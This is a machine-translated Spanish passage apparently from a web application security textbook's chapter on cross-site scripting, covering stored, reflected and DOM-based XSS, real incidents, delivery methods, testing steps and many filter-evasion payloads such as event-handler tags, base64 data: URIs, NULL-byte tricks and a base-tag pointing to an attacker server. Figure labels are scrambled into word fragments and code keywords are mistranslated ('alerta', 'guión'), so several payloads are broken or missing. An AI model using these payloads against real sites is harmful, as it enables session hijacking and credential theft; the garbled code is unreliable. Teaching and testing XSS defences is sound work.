JavaScript incrustado y la aplicación no la filtra ni la desinfecta, un atacante puede publicar una
pregunta manipulada que hace que se ejecuten secuencias de comandos arbitrarias en el
navegador de cualquier persona que vea la pregunta, incluidos el vendedor y otros posibles compradores.
En este contexto, el atacante podría causar que usuarios involuntarios pujen por un artículo sin
tener la intención de hacerlo, o hacer que un vendedor cierre una subasta y acepte la oferta
baja del atacante por un artículo.
Los ataques contra las vulnerabilidades XSS almacenadas suelen implicar al menos dos
solicitudes a la aplicación. En la primera, el atacante publica algunos datos manipulados que
contienen código malicioso que almacena la aplicación. En el segundo, una víctima ve una
página que contiene los datos del atacante y el código malicioso se ejecuta cuando se ejecuta
el script en el navegador de la víctima. Por esta razón, la vulnerabilidad también se denomina
secuencias de comandos entre sitios de segundo orden . (En este caso, "XSS" es realmente
un nombre inapropiado, porque el ataque no tiene un elemento entre sitios. Sin embargo, el
nombre se usa mucho, por lo que lo mantendremos aquí).
La Figura 12-4 ilustra cómo un atacante puede explotar una vulnerabilidad XSS almacenada
para realizar el mismo ataque de secuestro de sesión que se describió para el XSS reflejado.
Machine Translated by Google
El
1.
atacant
secues
sesión
usuari
del
la
El
JavaScri
pregunta
contiene
malicios
atacante
envía
que
una
7. registros
en
con
Solicitud
Usuario pregunta
atacante
del
2. responde
JavaScript
puntos
vista
de
Usuario 4.
3. Atacante
servidor
del
5. El JavaScript
del atacante se
ejecuta en el
6. El navegador del usuario envía el token de sesión al atacante
navegador del usuario
Usuario Agresor
¡INTENTALO!
Este ejemplo contiene una función de búsqueda que muestra la consulta que ingresa
el usuario actual y también una lista de consultas recientes de otros usuarios. Debido a
que las consultas se muestran sin modificar, la aplicación es vulnerable tanto a XSS
reflejados como almacenados. Vea si puede encontrar ambas vulnerabilidades.
http://mdsec.net/search/11/
Los XSS reflejados y almacenados tienen dos diferencias importantes en el proceso de ataque.
XSS almacenado generalmente es más serio desde una perspectiva de seguridad.
Primero, en el caso de XSS reflejado, para explotar una vulnerabilidad, el atacante debe inducir
a las víctimas a visitar su URL manipulada. En el caso de XSS almacenados, se evita este requisito.
Habiendo implementado su ataque dentro de la aplicación, el atacante simplemente necesita
esperar a que las víctimas naveguen a la página o función que ha sido comprometida. Por lo
general, esta es una página normal de la aplicación a la que los usuarios normales accederán por
su propia voluntad.
En segundo lugar, los objetivos del atacante al explotar un error XSS generalmente se logran
mucho más fácilmente si la víctima está usando la aplicación en el momento del ataque.
Por ejemplo, si el usuario tiene una sesión existente, esta puede ser secuestrada inmediatamente.
En un ataque XSS reflejado, el atacante puede intentar diseñar esta situación persuadiendo al
usuario para que inicie sesión y luego haga clic en un enlace que él proporciona. O puede intentar
implementar una carga persistente que espere hasta que el usuario inicie sesión. Sin embargo,
Machine Translated by Google
¿Cómo puede ocurrir esta serie de eventos? La respuesta es que JavaScript del lado del cliente
puede acceder al modelo de objeto de documento (DOM) del navegador y, por lo tanto, puede
determinar la URL utilizada para cargar la página actual. Un script emitido por la aplicación puede
extraer datos de la URL, realizar algún procesamiento en estos datos y luego usarlos para actualizar
dinámicamente el contenido de la página. Cuando una aplicación hace esto, puede ser vulnerable a
XSS basado en DOM.
Recuerde el ejemplo original de una falla XSS reflejada, en la que la aplicación del lado del servidor
copia datos de un parámetro de URL en un mensaje de error. Una forma diferente de implementar la
misma funcionalidad sería que la aplicación devolviera la misma pieza de HTML estático en cada
ocasión y usara JavaScript del lado del cliente para generar dinámicamente el contenido del mensaje.
Por ejemplo, suponga que la página de error devuelta por la aplicación contiene lo siguiente:
<script> var
url = documento.ubicación;
Machine Translated by Google
Este script analiza la URL para extraer el valor del parámetro del mensaje y simplemente
escribe este valor en el código fuente HTML de la página. Cuando se invoca como
pretendían los desarrolladores, se puede usar de la misma manera que en el ejemplo
original para crear mensajes de error fácilmente. Sin embargo, si un atacante crea una
URL que contiene código JavaScript como valor del parámetro del mensaje , este código
se escribirá dinámicamente en la página y se ejecutará de la misma manera que si el
servidor lo hubiera devuelto. En este ejemplo, la misma URL que explotó la vulnerabilidad
XSS original reflejada también se puede usar para generar un cuadro de diálogo:
http://mdsec.net/error/18/Error.ashx?message=<script>alerta('xss')</script>
¡INTENTALO!
http://mdsec.net/error/18/
secue
usuar
sesió
ataca
del
la
El
7. Solicitudes
usuarios
registros
de
1.
en
atacante
del
responde
URL
página
con
Solicitud
JavaScript
codificado
ServidorUsuario
4. 3.
contiene
que
5. La URL del
2. El atacante envía una URL creada al usuario
atacante es procesada
por JavaScript, lo 6. El navegador del usuario envía el token de sesión al atacante
que activa la carga
útil de su ataque. Usuario Agresor
Las vulnerabilidades XSS basadas en DOM son más similares a los errores XSS reflejados
que a los errores XSS almacenados. Su explotación suele implicar que un atacante induzca
a un usuario a acceder a una URL manipulada que contiene código malicioso. La respuesta
del servidor a esa solicitud específica hace que se ejecute el código malicioso. Sin embargo,
en términos de los detalles de explotación, existen diferencias importantes entre XSS
reflejado y basado en DOM, que examinaremos en breve.
Para comprender el grave impacto de las vulnerabilidades XSS, es útil examinar algunos
ejemplos reales de ataques XSS. También ayuda considerar la amplia gama de acciones
maliciosas que pueden realizar los exploits XSS y cómo se entregan activamente a las
víctimas.
http://blogs.apache.org/infra/entry/apache_org_04_09_2010
En 2005, se descubrió que el sitio de redes sociales MySpace era vulnerable a un ataque
XSS almacenado. La aplicación MySpace implementa fi ltros para evitar que los usuarios
coloquen JavaScript en su página de perfil de usuario. Sin embargo, un usuario llamado
Samy encontró una forma de eludir estos fi ltros y colocó algo de JavaScript en su página de
perfil. El script se ejecutaba cada vez que un usuario veía este perfil y provocaba que el
navegador de la víctima realizara varias acciones con dos efectos clave.
Primero, el navegador agregó a Samy como “amigo” de la víctima. En segundo lugar, copió
el script en la propia página de perfil de usuario de la víctima. Posteriormente, cualquiera
que viera el perfil de la víctima también sería víctima del ataque. El resultado fue un gusano
basado en XSS que se propagó exponencialmente. En cuestión de horas, el perpetrador original
Machine Translated by Google
tenía casi un millón de solicitudes de amistad. Como resultado, MySpace tuvo que desconectar la aplicación,
eliminar el script malicioso de los perfi les de todos sus usuarios y corregir el defecto en sus fi ltros anti-XSS.
Para obtener más detalles sobre este ataque, consulte esta URL:
http://namb.la/popular/tech.html
Las aplicaciones de correo web están inherentemente en riesgo de ataques XSS almacenados debido a
la forma en que procesan los mensajes de correo electrónico en el navegador cuando los ve el destinatario.
Los correos electrónicos pueden contener contenido en formato HTML, por lo que la aplicación copia
efectivamente HTML de terceros en las páginas que muestra a los usuarios. En 2009, un proveedor de correo
web llamado StrongWebmail ofreció una recompensa de $ 10,000 a cualquiera que pudiera ingresar al correo
electrónico del CEO. Los piratas informáticos identificaron una vulnerabilidad XSS almacenada dentro de la
aplicación de correo web que permitía ejecutar JavaScript arbitrario cuando el destinatario veía un correo
electrónico malicioso. Enviaron un correo electrónico adecuado al CEO, comprometieron su sesión en la
aplicación y reclamaron la recompensa.
Para obtener más detalles sobre este ataque, consulte esta URL:
http://blogs.zdnet.com/security/?p=3514
En 2009, Twitter fue víctima de dos gusanos XSS que explotaban las capacidades de vulnerabilidades XSS
almacenadas para propagarse entre los usuarios y publicar actualizaciones que promocionaban el sitio web del
autor de los gusanos. También se han identificado varias vulnerabilidades XSS basadas en DOM en Twitter, que
www.cgisecurity.com/2009/04/two-xss-worms-slam-twitter.html http://blog.pressedsecurity.com/
2010/09/twitter-domxss-wrong-fix-and something.html
Desfiguración virtual
Este ataque consiste en inyectar datos maliciosos en una página de una aplicación
web para proporcionar información engañosa a los usuarios de la aplicación. Puede
implicar simplemente inyectar marcado HTML en el sitio, o puede usar scripts (a veces
alojados en un servidor externo) para inyectar contenido elaborado y navegación en el sitio.
Machine Translated by Google
Este tipo de ataque se conoce como desfiguración virtual porque el contenido real
alojado en el servidor web del objetivo no se modifica. La desfiguración se genera
únicamente debido a cómo la aplicación procesa y presenta la entrada proporcionada por el usuario.
Además de las travesuras frívolas, este tipo de ataque podría utilizarse con fines delictivos
graves. Una desfiguración elaborada profesionalmente, entregada a los destinatarios correctos de
manera convincente, podría ser captada por los medios de comunicación y tener efectos en el
mundo real sobre el comportamiento de las personas, los precios de las acciones, etc., en
beneficio financiero del atacante, como se ilustra. en la figura 12-6.
Figura 12-6: Un ataque de desfiguración virtual que explota una falla XSS
Como se describió en el ataque contra Apache, un ataque obvio que involucra funcionalidad
inyectada es presentar a los usuarios un formulario de inicio de sesión troyano que envía sus
credenciales a un servidor controlado por el atacante. Si se ejecuta hábilmente, el ataque también
puede iniciar sesión sin problemas en la aplicación real del usuario para que no detecte ninguna
anomalía en su experiencia. El atacante es entonces libre de utilizar las credenciales de la víctima
para sus propios fines. Este tipo de carga útil se presta bien a un ataque de estilo phishing, en el
que los usuarios reciben una URL manipulada dentro de la aplicación auténtica real y se les
informa que deben iniciar sesión normalmente.
para acceder a ella.
Otro ataque obvio es pedir a los usuarios que introduzcan los datos de su tarjeta de crédito,
normalmente con el incentivo de alguna oferta atractiva. Por ejemplo, la Figura 12-7 muestra un
ataque de prueba de concepto creado por Jim Ley, explotando una capacidad de vulnerabilidad
XSS reflejada encontrada en Google en 2004.
Machine Translated by Google
Ya ha visto una relación de confianza importante que XSS puede explotar: los navegadores
confían en el JavaScript recibido de un sitio web con las cookies emitidas por ese sitio web.
Varias otras relaciones de confianza a veces pueden explotarse en un ataque XSS:
<script> var
o = new ActiveXObject('WScript.shell');
o.Run('calc.exe'); </script>
n Las aplicaciones web a menudo implementan controles ActiveX que contienen métodos
poderosos (consulte el Capítulo 13). Algunas aplicaciones buscan evitar el uso indebido
por parte de un tercero al verificar dentro del propio control que la página web que
invoca se emitió desde el sitio web correcto. En esta situación, el control aún puede
ser mal utilizado a través de un ataque XSS, porque en ese caso el código de
invocación satisface la verificación de confianza implementada dentro del control.
MITO COMÚN
Los errores XSS pueden afectar a cualquier tipo de aplicación web, y un ataque
contra una aplicación basada en una intranet, enviado a través de un correo electrónico
grupal, puede explotar dos formas de confianza. Primero, está la confianza social
explotada por un correo electrónico interno enviado entre colegas. En segundo lugar,
los navegadores de las víctimas a menudo confían más en los servidores web
corporativos que en los de la Internet pública. Por ejemplo, con Internet Explorer, si
una computadora es parte de un dominio corporativo, el navegador tiene un nivel de
seguridad más bajo cuando accede a aplicaciones basadas en intranet.
Un sitio web puede atacar directamente a los usuarios que lo visitan de muchas maneras,
como registrar sus pulsaciones de teclas, capturar su historial de navegación y escanear
puertos en la red local. Cualquiera de estos ataques puede entregarse a través de una falla
de secuencias de comandos entre sitios en una aplicación vulnerable, aunque también pueden
entregarse directamente desde cualquier sitio web malicioso que un usuario visite. Los
ataques de este tipo se describen con más detalle al final del Capítulo 13.
usuarios de la aplicación. Ya hemos discutido varias formas en que esto se puede hacer. De
hecho, muchos otros mecanismos de entrega están disponibles para un atacante.
instantáneo. n El contenido y el código de los sitios web de terceros se pueden usar para
generar solicitudes que desencadenan fallas XSS. Numerosas aplicaciones populares
permiten a los usuarios publicar marcas HTML limitadas que se muestran sin modificar a otros usuarios.
Si se puede desencadenar una vulnerabilidad XSS mediante el método GET , un
atacante puede publicar una etiqueta IMG en un sitio de terceros dirigido a la URL vulnerable.
Cualquier usuario que vea el contenido de terceros solicitará sin darse cuenta la URL
maliciosa.
Alternativamente, el atacante podría crear su propio sitio web con contenido interesante
como un incentivo para que los usuarios lo visiten. También contiene contenido que hace
que el navegador del usuario realice solicitudes que contienen cargas útiles XSS a una
aplicación vulnerable. Si un usuario inicia sesión en la aplicación vulnerable y navega hasta
el sitio del atacante, la sesión del usuario con la aplicación vulnerable se ve comprometida.
Habiendo creado un sitio web adecuado, un atacante puede usar técnicas de manipulación
de motores de búsqueda para generar visitas de usuarios adecuados, como colocar
palabras clave relevantes dentro del contenido del sitio y vincular al sitio usando
expresiones relevantes. Sin embargo, este mecanismo de entrega no tiene nada que ver
con el phishing. El sitio del atacante no intenta hacerse pasar por el sitio al que se dirige.
Tenga en cuenta que este mecanismo de entrega puede permitir que un atacante
aproveche las vulnerabilidades XSS reflejadas y basadas en DOM que solo pueden
activarse a través de solicitudes POST . Con estas vulnerabilidades, obviamente no hay
una URL simple que pueda enviarse a un usuario víctima para lanzar un ataque. Sin embargo, un malicioso
Machine Translated by Google
El sitio web puede contener un formulario HTML que utiliza el método POST y que tiene la
aplicación vulnerable como URL de destino. Se pueden usar JavaScript o controles de
navegación en la página para enviar el formulario, aprovechando con éxito la vulnerabilidad.
n En una variación del ataque a sitios web de terceros, se sabe que algunos atacantes pagan
por anuncios publicitarios que se vinculan a una URL que contiene una carga XSS para
una aplicación vulnerable. Si un usuario inicia sesión en la aplicación vulnerable y hace
clic en el anuncio, su sesión con esa aplicación se ve comprometida. Debido a que muchos
proveedores usan palabras clave para asignar anuncios a páginas que están relacionadas
con ellos, incluso han surgido casos en los que un anuncio que ataca una aplicación en
particular se asigna a las páginas de esa aplicación en sí. Esto no solo otorga credibilidad
al ataque, sino que también garantiza que alguien que haga clic en el anuncio esté
utilizando la aplicación vulnerable en el momento en que ocurre el ataque. Además, dado
que la URL de destino ahora está “en el sitio”, el ataque puede eludir los mecanismos
basados en navegador empleados para defenderse contra XSS (que se describen en
detalle más adelante en este capítulo ). Debido a que muchos proveedores de anuncios
publicitarios cobran por clic, esta técnica permite que un atacante "compre" una cantidad
específica de sesiones de usuario.
n Muchas aplicaciones web implementan una función para "decirle a un amigo" o enviar
comentarios a los administradores del sitio. Esta función a menudo permite a un usuario
generar un correo electrónico con contenido y destinatarios arbitrarios. Un atacante puede
aprovechar esta funcionalidad para enviar un ataque XSS a través de un correo electrónico
que en realidad se origina en el propio servidor de la organización. Esto aumenta la
probabilidad de que incluso los usuarios con conocimientos técnicos y el software
antimalware lo acepten.
Los dos tipos de mecanismos de entrega para ataques XSS almacenados son dentro de banda y
fuera de banda.
La entrega en banda se aplica en la mayoría de los casos y se utiliza cuando los datos que son
objeto de la vulnerabilidad se suministran a la aplicación a través de su interfaz web principal. Las
ubicaciones comunes donde los datos controlables por el usuario pueden eventualmente mostrarse
a otros usuarios incluyen las siguientes:
En estos casos, la carga útil XSS se entrega simplemente enviándola a la página correspondiente
dentro de la aplicación y luego esperando a que las víctimas vean los datos maliciosos.
La entrega fuera de banda se aplica en los casos en que los datos que son objeto de la
vulnerabilidad se suministran a la aplicación a través de algún otro canal.
La aplicación recibe datos a través de este canal y, en última instancia, los presenta en páginas HTML
que se generan dentro de su interfaz web principal. Un ejemplo de este mecanismo de entrega es el
ataque ya descrito contra aplicaciones de correo web . Implica el envío de datos maliciosos a un
servidor SMTP, que eventualmente se muestra a los usuarios dentro de un mensaje de correo
electrónico con formato HTML.
Las fallas de XSS a veces se pueden encadenar con otras vulnerabilidades con efectos devastadores.
Los autores encontraron una aplicación que tenía una capacidad de vulnerabilidad XSS almacenada
dentro del nombre para mostrar del usuario. El único propósito para el que se usó este elemento fue
mostrar un mensaje de bienvenida personalizado después de que el usuario iniciara sesión . El
nombre para mostrar nunca se mostró a otros usuarios de la aplicación, por lo que inicialmente
parecía no haber un vector de ataque para que los usuarios causaran problemas al editar su propio
nombre para mostrar. En igualdad de condiciones, la vulnerabilidad se clasificaría como de muy bajo
riesgo.
Sin embargo, existía una segunda vulnerabilidad dentro de la aplicación. Los controles de
acceso defectuosos significaban que cualquier usuario podía editar el nombre para mostrar de
cualquier otro usuario. Nuevamente, por sí solo, este problema tenía una importancia mínima:
¿Por qué un atacante estaría interesado en cambiar los nombres para mostrar de otros usuarios?
El encadenamiento de estas dos vulnerabilidades de bajo riesgo permitió a un atacante
comprometer completamente la aplicación. Fue fácil automatizar un ataque para inyectar un script en
el nombre para mostrar de cada usuario de la aplicación. Este script se ejecutaba cada vez que un
usuario iniciaba sesión en la aplicación y transmitía el token de sesión del usuario a un servidor
propiedad del atacante. Algunos de los usuarios de la aplicación eran administradores, que iniciaban
sesión con frecuencia y que podían crear nuevos usuarios y modificar los privilegios de otros usuarios.
Un atacante simplemente tenía que esperar a que un administrador iniciara sesión, secuestrar la
sesión del administrador y luego actualizar su propia cuenta para tener privilegios administrativos. Las
dos vulnerabilidades juntas representaban un riesgo crítico para la seguridad de la aplicación.
En un ejemplo diferente, los datos que se presentaron solo al usuario que los envió podrían
actualizarse a través de un ataque de falsificación de solicitud entre sitios (consulte el Capítulo 13).
También contenía una vulnerabilidad XSS almacenada. Nuevamente, cada error cuando se considera
Machine Translated by Google
MITO COMÚN
“No estamos preocupados por ese error XSS de bajo riesgo. Un usuario podría explotarlo
solo para atacarse a sí mismo”.
“><script>alerta(documento.cookie)</script>
Esta cadena se envía como cada parámetro de cada página de la aplicación, y las
respuestas se supervisan para detectar la aparición de esta misma cadena. Si se
encuentran casos en los que la cadena de ataque aparece sin modificar dentro de la
respuesta, es casi seguro que la aplicación sea vulnerable a XSS.
Si su intención es simplemente identificar alguna instancia de XSS dentro de la
aplicación lo más rápido posible para lanzar un ataque contra otros usuarios de la
aplicación, este enfoque básico es probablemente el más efectivo, porque puede
automatizarse fácilmente y produce un mínimo de falsos positivos. Sin embargo, si su
objetivo es realizar una prueba exhaustiva de la aplicación para localizar tantas
vulnerabilidades individuales como sea posible, el enfoque básico debe complementarse
con técnicas más sofisticadas. Hay varias formas diferentes en las que pueden existir
vulnerabilidades XSS dentro de una aplicación que no se identificarán a través del
enfoque básico de detección:
cadena está siendo filtrada, esto no significa que no exista una vulnerabilidad
explotable. Como verá, hay casos en los que se puede crear un exploit XSS funcional
sin usar etiquetas <script> e incluso sin usar caracteres comúnmente filtrados como
“<> y /.
n Los fi ltros anti-XSS implementados en muchas aplicaciones son defectuosos y pueden
eludirse de varias formas. Por ejemplo, suponga que una aplicación elimina cualquier
etiqueta <script> de la entrada del usuario antes de que se procese. Esto significa que
la cadena de ataque utilizada en el enfoque básico no se devolverá en ninguna de las
respuestas de la aplicación. Sin embargo, puede ser que una o más de las siguientes
cadenas pasen por alto el fi ltro y resulten en un exploit XSS exitoso:
¡INTENTALO!
http://mdsec.net/search/28/
http://mdsec.net/search/36/
http://mdsec.net/search/21/
Tenga en cuenta que, en algunos de estos casos, la cadena de entrada puede desinfectarse,
decodificarse o modificarse de otro modo antes de devolverse en la respuesta del servidor,
pero aun así podría ser suficiente para un exploit XSS. En esta situación, ningún enfoque de
detección basado en el envío de una cadena específica y la verificación de su aparición en la
respuesta del servidor logrará por sí mismo encontrar la vulnerabilidad.
En las explotaciones de vulnerabilidades XSS basadas en DOM, la carga útil del ataque
no se devuelve necesariamente en la respuesta del servidor, sino que se retiene en el DOM
del navegador y se accede desde allí mediante JavaScript del lado del cliente. Nuevamente,
en esta situación, ningún enfoque basado en enviar una cadena específica y verificar su
aparición en la respuesta del servidor tendrá éxito para encontrar la vulnerabilidad.
n Si los datos reflejados están bloqueados o desinfectados, lo que impide que se ejecute
la secuencia de comandos, intente comprender y eludir los fi ltros defensivos de la
aplicación.
La primera etapa en el proceso de prueba es enviar una cadena benigna a cada punto de entrada e identificar
cada ubicación en la respuesta donde se refleja la cadena.
PASOS DE HACK
1. Elija una cadena arbitraria única que no aparezca en ninguna parte dentro de la
aplicación y que contenga solo caracteres alfabéticos y, por lo tanto, es poco
probable que se vea afectada por los filtros específicos de XSS. Por ejemplo:
myxsstestdmqlwp
Envíe esta cadena como cada parámetro en cada página, apuntando solo a un
parámetro a la vez.
3. Tenga en cuenta que es necesario probar las solicitudes GET y POST. Debe
incluir todos los parámetros tanto en la cadena de consulta de URL como en el
cuerpo del mensaje. Aunque existe una gama más pequeña de mecanismos de
entrega para las vulnerabilidades XSS que solo pueden activarse mediante una
solicitud POST, la explotación aún es posible, como se describió anteriormente.
4. En todos los casos en los que se encontró XSS en una solicitud POST, use la
opción "cambiar método de solicitud" en Burp para determinar si el mismo
ataque podría realizarse como una solicitud GET.
Una forma obvia de crear un exploit XSS es terminar las comillas dobles que
encierran el valor del atributo, cerrar la etiqueta <input> y luego emplear algún
medio para introducir JavaScript, como una etiqueta <script> . Por ejemplo:
“><script>alerta(1)</script>
Un método alternativo en esta situación, que puede pasar por alto ciertos filtros de entrada,
es permanecer dentro de la etiqueta <input> pero inyectar un controlador de eventos que
contenga JavaScript. Por ejemplo:
“enfocar=”alerta(1)
Tenga en cuenta que debido a que terminó una cadena entre comillas, para
evitar que ocurran errores dentro del intérprete de JavaScript, debe asegurarse
de que el script continúe correctamente con una sintaxis válida después de su
código inyectado. En este ejemplo, se declara la variable foo y se abre una
segunda cadena entre comillas. Será terminado por el código que sigue
inmediatamente a su cadena. Otro método que suele ser efectivo es terminar su
entrada con // para comentar el resto de la línea.
Machine Translated by Google
Aquí, la cadena que controla se inserta en el atributo href de una etiqueta <a> . En este
contexto, y en muchos otros en los que los atributos pueden contener URL, puede usar el
protocolo javascript: para introducir el script directamente dentro del atributo URL:
Debido a que su entrada se refleja dentro de un atributo de etiqueta, también puede inyectar
un controlador de eventos, como ya se describió.
Para un ataque que funcione contra todos los navegadores actuales, puede usar un nombre
de imagen no válido junto con un controlador de eventos onclick :
#”onclick=”javascript:alerta(1)
SUGERENCIA Al igual que con otros ataques, asegúrese de codificar en URL cualquier
carácter especial que tenga significado dentro de la solicitud, incluidos & = + ; y espacio
PASOS DE HACK
Haga lo siguiente para cada entrada reflejada identificada en los pasos anteriores:
2. Si la cadena aparece más de una vez, cada ocurrencia debe tratarse como una
vulnerabilidad potencial separada e investigarse individualmente.
3. Determine, desde la ubicación dentro del HTML de la cadena controlable por el
usuario, cómo debe modificarla para provocar la ejecución de un script arbitrario.
Por lo general, numerosos métodos diferentes serán vehículos potenciales para un
ataque, como se describe más adelante en este capítulo.
En el primer tipo de filtro, la aplicación generalmente responde a su cadena de ataque con una respuesta
completamente diferente a la que respondió a la cadena inofensiva. Por ejemplo, podría responder con
un mensaje de error, posiblemente incluso indicando que se detectó un posible ataque XSS, como se
muestra en la Figura 12-8.
Figura 12-8: Mensaje de error generado por los filtros anti-XSS de ASP.NET
Si esto ocurre, el siguiente paso es determinar qué caracteres o expresiones dentro de su entrada
están activando el fi ltro. Un enfoque efectivo es eliminar diferentes partes de su cadena y ver si la
entrada aún está bloqueada. Por lo general, este proceso establece con bastante rapidez que una
expresión específica como <script> está causando el bloqueo de la solicitud. Luego debe probar el fi ltro
para establecer si existen derivaciones.
Hay tantas maneras diferentes de introducir código de secuencia de comandos en páginas HTML
que normalmente se pueden pasar por alto los fi ltros basados en firmas. Puedes encontrar una alternativa
Machine Translated by Google
de comandos Puede introducir código de secuencia de comandos en una página HTML de cuatro
maneras generales. Examinaremos estos a su vez y daremos algunos ejemplos inusuales de cada uno
que pueden tener éxito en eludir los filtros de entrada basados en firmas.
Etiquetas de guiones
Más allá de usar directamente una etiqueta <script> , hay varias formas en las que puede usar
una sintaxis un tanto enrevesada para envolver el uso de la etiqueta, anulando algunos fi ltros:
<objeto datos=”datos:texto/html,<script>alerta(1)</script>”>
<datos del objeto=”datos:texto/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
<a href=”datos:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==”>
Haga clic aquí</a>
<script>alerta(1)</script>
Controladores de eventos
Se pueden usar numerosos controladores de eventos con varias etiquetas para hacer que se ejecute un
script. Los siguientes son algunos ejemplos poco conocidos que ejecutan secuencias de comandos sin
necesidad de interacción por parte del usuario:
<xml onreadystatechange=alerta(1)>
<estilo onreadystatechange=alerta(1)>
<iframe onreadystatechange=alerta(1)>
Machine Translated by Google
HTML5 proporciona una gran cantidad de nuevos vectores utilizando controladores de eventos. Estos
incluyen el uso del atributo de enfoque automático para desencadenar automáticamente eventos que
anteriormente requerían la interacción del usuario:
</a onmovemove=alerta(1)>
Pseudoprotocolos de secuencias de
comandos Los pseudoprotocolos de secuencias de comandos se pueden utilizar en varias ubicaciones para ejecutar
secuencias de comandos en línea dentro de un atributo que espera una URL. Aquí hay unos ejemplos:
La nueva etiqueta de fuente de eventos es de particular interés cuando se trata de filtros de entrada.
A diferencia de cualquier etiqueta anterior a HTML5, su nombre incluye un guión, por lo que usar esta etiqueta puede pasar por alto
los fi ltros heredados basados en expresiones regulares que asumen que los nombres de las etiquetas solo pueden contener letras.
Machine Translated by Google
<x estilo=x:expresión(alerta(1))>
Las versiones posteriores de IE eliminaron la compatibilidad con la sintaxis anterior, sobre la base
de que su único uso en la práctica fue en ataques XSS. Sin embargo, en versiones posteriores de IE,
se puede usar lo siguiente con el mismo efecto:
El navegador Firefox solía permitir ataques basados en CSS a través de la propiedad moz-binding ,
pero las restricciones impuestas a esta característica significan que ahora es menos útil en la mayoría
de los escenarios XSS.
secciones anteriores describieron numerosas formas en las que se puede ejecutar el código de script
desde una página HTML. En muchos casos, es posible que descubra que los fi ltros basados en
firmas pueden anularse simplemente cambiando a un método diferente y menos conocido de ejecutar
secuencias de comandos. Si esto falla, debe buscar formas de ofuscar su ataque. Por lo general,
puede hacer esto introduciendo variaciones inesperadas en su sintaxis que el filtro acepta y que el
navegador tolera cuando se devuelve la entrada. Esta sección examina las formas en que se puede
ofuscar la sintaxis HTML para vencer a los fi ltros comunes. La siguiente sección aplica los mismos
principios a la sintaxis de JavaScript y VBScript.
Los fi ltros basados en firmas diseñados para bloquear ataques XSS normalmente emplean
expresiones regulares u otras técnicas para identificar componentes HTML clave, como corchetes de
etiquetas, nombres de etiquetas, nombres de atributos y valores de atributos. Por ejemplo, un fi ltro
puede tratar de bloquear entradas que contengan HTML que utilice etiquetas específicas o nombres
de atributos conocidos para permitir la introducción de secuencias de comandos, o puede intentar
bloquear valores de atributos que comiencen con un pseudoprotocolo de secuencia de comandos.
Muchos de estos fi ltros pueden pasarse por alto colocando caracteres inusuales en puntos clave
dentro del HTML de una manera que uno o más navegadores toleren.
Para ver esta técnica en acción, considere el siguiente exploit simple:
Puede modificar esta sintaxis de muchas maneras y aún hacer que su código se ejecute en al
menos un navegador. Examinaremos cada uno de estos a su vez. En la práctica, es posible que deba
combinar varias de estas técnicas en un solo exploit para eludir filtros de entrada más sofisticados.
Machine Translated by Google
El nombre de la etiqueta
Comenzando con el nombre de la etiqueta de apertura, los fi ltros más simples e ingenuos pueden pasarse
por alto simplemente variando las mayúsculas y minúsculas de los caracteres utilizados:
(En estos ejemplos, [%XX] indica el carácter literal con el código ASCII hexadecimal de XX. Al enviar
su ataque a la aplicación, generalmente usaría la forma codificada en URL del carácter. Al revisar la
respuesta de la aplicación, debe debe buscar el carácter decodificado literal que se está reflejando).
SUGERENCIA El truco del byte NULO funciona en Internet Explorer en cualquier parte
de la página HTML. El uso liberal de bytes NULL en ataques XSS a menudo proporciona
una forma rápida de eludir los fi ltros basados en firmas que desconocen el comportamiento de IE.
Históricamente, el uso de bytes NULL ha demostrado su eficacia contra los
cortafuegos de aplicaciones web (WAF) configurados para bloquear solicitudes que
contienen cadenas de ataque conocidas. Debido a que los WAF generalmente se
escriben en código nativo por motivos de rendimiento, un byte NULL termina la cadena
en la que aparece. Esto evita que WAF vea la carga útil maliciosa que viene después de
NULL (consulte el Capítulo 16 para obtener más detalles).
Yendo más allá dentro de los nombres de etiquetas, si modifica ligeramente el ejemplo, puede usar
nombres de etiquetas arbitrarios para introducir controladores de eventos, omitiendo así los fi ltros que
simplemente bloquean etiquetas con nombres específicos:
En algunas situaciones, es posible que pueda introducir nuevas etiquetas con varios nombres, pero no
encontrará ningún medio para usarlas para ejecutar código directamente. En estas situaciones, es posible
que pueda lanzar un ataque utilizando una técnica conocida como "secuestro de etiquetas base". La
etiqueta <base> se usa para especificar una URL que el navegador debe usar para resolver cualquier URL
relativa que aparezca posteriormente dentro de la página. Si puede introducir una nueva etiqueta <base>
y la página realiza cualquier inclusión de <script> después de su punto de refl exión usando URL relativas,
puede especificar una URL base para un servidor que usted controla. Cuando el navegador carga los
scripts especificados en el resto de la página HTML, se cargan desde el servidor que usted especificó,
pero todavía se ejecutan en el contexto de la página que los invocó. Por ejemplo:
<base href=”http://mdattacker.net/badscripts/”>
...
<guión src=”buenguión.js”></guión>
Machine Translated by Google
Según las especificaciones, las etiquetas <base> deben aparecer dentro de la sección
<head> de la página HTML. Sin embargo, algunos navegadores, incluido Firefox, aceptan
etiquetas <base> que aparecen en cualquier parte de la página, lo que amplía considerablemente
el alcance de este ataque.
<img/onerror=alerta(1) src=a>
<img[%09]onerror=alerta(1) src=a>
<img[%0d]onerror=alerta(1) src=a>
<img[%0a ]onerror=alert(1) src=a>
<img/”onerror=alert(1) src=a> <img/'onerror=alert(1)
src=a> <img/anyjunk/onerror=alert(1) origen=a>
Tenga en cuenta que incluso cuando un ataque no requiere ningún atributo de etiqueta, siempre
debe intentar agregar algún contenido superfluo después del nombre de la etiqueta, porque esto
pasa por alto algunos filtros simples:
<script/anyjunk>alerta(1)</script>
Nombres de atributos
Dentro del nombre del atributo, puede usar el mismo truco de byte NULL descrito anteriormente.
Esto pasa por alto muchos filtros simples que intentan bloquear los controladores de eventos
bloqueando los nombres de atributos que comienzan con on:
Delimitadores de atributos
En el ejemplo original, los valores de los atributos no estaban delimitados, lo que requería algunos
espacios en blanco después del valor del atributo para indicar que ha finalizado antes de que se
pueda introducir otro atributo. Los atributos se pueden delimitar opcionalmente con comillas simples
o dobles o, en IE, con acentos graves:
Cambiar los atributos del ejemplo anterior proporciona otra forma de omitir
algunos filtros que verifican los nombres de atributos que comienzan con on. Si el fi
ltro no sabe que los acentos graves funcionan como delimitadores de atributos, trata
el siguiente ejemplo como si contuviera un solo atributo, cuyo nombre no es el de
un controlador de eventos:
<img src=`a`onerror=alerta(1)>
